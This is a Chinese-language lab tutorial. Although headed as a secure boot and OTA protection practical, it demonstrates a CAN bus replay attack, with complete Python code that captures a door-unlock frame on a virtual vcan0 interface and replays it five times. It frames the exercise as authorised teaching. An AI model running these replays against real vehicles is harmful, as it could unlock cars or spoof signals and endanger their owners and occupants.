3. 安全启动与OTA联动防护实战

任务目标

在汽车CAN总线环境中,攻击者通过被动监听获取合法报文后,在任意时刻重放该报文,可使ECU重复执行非预期动作(如反复解锁车门、伪造车速等)。本案例使用Python和python-can库,在虚拟CAN接口上模拟完整攻击链路:构造合法报文、捕获并记录报文、实施重放攻击,并验证重放报文与原始报文在总线层面完全一致。

环境依赖

  • Python 3.8+
  • 安装依赖:pip install python-can
  • Linux环境需安装虚拟CAN驱动:sudo modprobe vcan,并创建虚拟接口:sudo ip link add dev vcan0 type vcan; sudo ip link set up vcan0

关键完整代码

import can
import time
import threading

# ========== 配置 ==========
BUS_NAME = 'vcan0'
TARGET_ARB_ID = 0x123          # 目标ECU报文ID(如车门控制)
REPLAY_INTERVAL = 0.5          # 重放间隔(秒)
REPLAY_COUNT = 5               # 重放次数

# ========== 1. 构造合法报文(模拟真实ECU发送) ==========
def build_legitimate_message():
    """构造一条合法的车门解锁报文(数据段模拟真实信号)"""
    data = bytes([0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00])  # byte1=0x01表示解锁
    return can.Message(arbitration_id=TARGET_ARB_ID, data=data, is_extended_id=False)

# ========== 2. 被动监听并捕获报文 ==========
def sniff_single_message(bus, timeout=3.0):
    """监听总线,捕获第一条目标ID的报文"""
    print(f"[*] 监听总线 {BUS_NAME},等待捕获报文 ID=0x{TARGET_ARB_ID:X}...")
    deadline = time.time() + timeout
    while time.time() < deadline:
        msg = bus.recv(timeout=0.1)
        if msg and msg.arbitration_id == TARGET_ARB_ID:
            print(f"[+] 捕获报文: ID=0x{msg.arbitration_id:X} Data={msg.data.hex().upper()}")
            return msg
    raise TimeoutError("未在超时时间内捕获到目标报文")

# ========== 3. 重放攻击 ==========
def replay_attack(bus, captured_msg, interval=REPLAY_INTERVAL, count=REPLAY_COUNT):
    """周期性重放捕获的报文"""
    print(f"[*] 开始重放攻击,共 {count} 次,间隔 {interval}s")
    for i in range(count):
        bus.send(captured_msg)
        print(f"    [重放 {i+1}/{count}] 已发送 ID=0x{captured_msg.arbitration_id:X} Data={captured_msg.data.hex().upper()}")
        time.sleep(interval)

# ========== 4. 总线监听线程(模拟受害者ECU接收) ==========
received_messages = []
def receiver_thread(bus, duration):
    """持续接收总线报文,记录所有目标ID报文"""
    end_time = time.time() + duration
    while time.time() < end_time:
        msg = bus.recv(timeout=0.1)
        if msg and msg.arbitration_id == TARGET_ARB_ID:
            received_messages.append(msg)
            print(f"    [接收] ID=0x{msg.arbitration_id:X} Data={msg.data.hex().upper()}")

# ========== 主流程 ==========
def main():
    # 打开CAN总线接口
    bus = can.Bus(interface='socketcan', channel=BUS_NAME, bitrate=500000)
    print(f"[*] 已连接 {BUS_NAME}")

    # 启动接收线程(持续监听)
    listener = threading.Thread(target=receiver_thread, args=(bus, 5.0), daemon=True)
    listener.start()

    # 模拟合法ECU发送一条报文
    legit_msg = build_legitimate_message()
    print(f"[*] 合法ECU发送报文: ID=0x{legit_msg.arbitration_id:X} Data={legit_msg.data.hex().upper()}")
    bus.send(legit_msg)
    time.sleep(0.2)

    # 攻击者捕获该报文
    captured = sniff_single_message(bus, timeout=2.0)

    # 攻击者实施重放
    replay_attack(bus, captured)

    # 等待接收线程结束
    listener.join(timeout=1.0)

    # ========== 验证 ==========
    print("\n========== 验证结果 ==========")
    if len(received_messages) >= REPLAY_COUNT + 1:  # +1为原始报文
        print(f"[✓] 总线共收到 {len(received_messages)} 条目标报文(1条原始 + {REPLAY_COUNT}条重放)")
        # 验证所有报文内容一致
        all_same = all(msg.data == legit_msg.data for msg in received_messages)
        print(f"[✓] 所有报文数据一致: {all_same}")
        print("[✓] 重放攻击成功:ECU无法区分原始报文与重放报文")
    else:
        print(f"[✗] 接收报文数量不足,仅收到 {len(received_messages)} 条")
    bus.shutdown()

if __name__ == '__main__':
    main()

运行与验证

  1. 确保虚拟CAN接口已就绪:ip link show vcan0(应显示状态为UP)
  2. 运行脚本:python can_replay_attack.py
  3. 观察输出:应依次出现“合法ECU发送”→“捕获报文”→“重放攻击”5次→“验证结果”
  4. 通过条件:验证结果中显示“总线共收到6条目标报文”(1条原始+5条重放),且“所有报文数据一致”为True,即攻击成功

安全说明

本案例仅用于授权环境下的安全测试与教学。真实车辆上实施重放攻击可能造成危险,必须在隔离的测试台架或虚拟总线上进行。